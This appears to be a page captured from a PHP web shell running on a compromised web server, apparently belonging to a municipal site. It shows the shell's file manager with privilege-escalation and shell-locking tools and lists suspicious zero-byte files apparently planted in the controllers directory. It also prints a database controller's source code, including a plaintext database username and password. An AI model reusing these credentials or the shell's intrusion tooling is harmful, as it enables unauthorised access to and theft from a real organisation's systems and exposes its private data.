Linux 186-227-203-186.cprapid.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Apache
Server IP : 186.227.203.186 & Your IP : 216.73.217.146
Domains : 154 Domain
User : pmcaxingo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
pmcaxingo /
public_html /
dimon /
controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
DBController.php
2.75
KB
-rw-r--r--
2024-11-08 18:23
DimonController.php
2.04
KB
-rw-r--r--
2023-10-25 14:02
PublicacaoController.php
16.42
KB
-rw-r--r--
2025-06-11 20:02
URI.php
3.03
KB
-rw-r--r--
2023-10-25 14:02
UsuarioController.php
5.05
KB
-rw-r--r--
2024-11-06 14:55
header.php
0
B
-rw-r--r--
2026-02-23 05:11
japet.php
0
B
-rw-r--r--
2026-02-23 05:11
japetv10.php
0
B
-rw-r--r--
2026-02-23 05:09
japetv11.php
0
B
-rw-r--r--
2026-02-23 05:09
Save
Rename
<?php class DBController{ function _getCampos(){ } function __construct($id = null){ $this->host = "localhost"; $this->db = "tweb_pmcaxingo"; $this->user = "tweb_portal"; $this->pass = "!Addab052qdfe11"; $this -> connect(); } function connect(){ $this->_pdo = new PDO("mysql:host=$this->host;dbname=$this->db", $this->user, $this->pass); $this->_pdo -> setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); return $this->_pdo; } function select(){ $_lista = $this->_pdo -> prepare($this->sql); $_lista -> execute(); $ret = $_lista -> fetchAll(PDO::FETCH_ASSOC); return $ret = (sizeof($ret) == 1) ? $ret[0] : $ret; } function insert($_DADOS = null){ if(!$_DADOS) $_DADOS = $_POST; $this -> describe(); unset($_DADOS[id]); if($_DADOS){ $this->_fields = array("data_cadastro"); $this->_valores = array(":data_cadastro"); $this->_execute = array( "data_cadastro" => date("Y-m-d H:i:s") ); foreach($_DADOS as $key => $value){ if(in_array($key, $this->_describe)){ array_push($this->_fields, $key); array_push($this->_valores, ":$key"); $this->_execute += array($key => $value); } } $fields = implode(",", $this->_fields); $valores = implode(",", $this->_valores); $this->sql = "insert into $this->table ($fields) values ($valores)"; try{ $this->_pdo -> prepare($this->sql) -> execute($this->_execute); return $this->_pdo->lastInsertId(); } catch(PDOException $e) { return DimonController :: alert($e->getMessage(), "alert-danger"); } } } function update($_DADOS = null){ $this -> describe(); if(!$_DADOS) $_DADOS = $_POST; if($_DADOS){ $this->_valores = "data_atualizacao = :data_atualizacao"; $this->_execute = array( "data_atualizacao" => date("Y-m-d H:i:s") ); foreach($_DADOS as $key => $value){ if(in_array($key, $this->_describe)){ $this->_valores .= ", $key = :$key"; $this->_execute += array($key => $value); } } } // var_dump($this->_execute); $this->sql = "UPDATE $this->table SET $this->_valores WHERE id = :id"; // die(); try{ $this->_pdo -> prepare($this->sql) -> execute($this->_execute); return false; } catch(PDOException $e) { return DimonController :: alert($e->getMessage(), "alert-danger"); } } function delete(){ $this->sql = "delete from $this->table $this->where"; } function describe(){ $q = $this->_pdo -> prepare("DESCRIBE $this->table"); $q -> execute(); return $this->_describe = $q -> fetchAll(PDO::FETCH_COLUMN); } }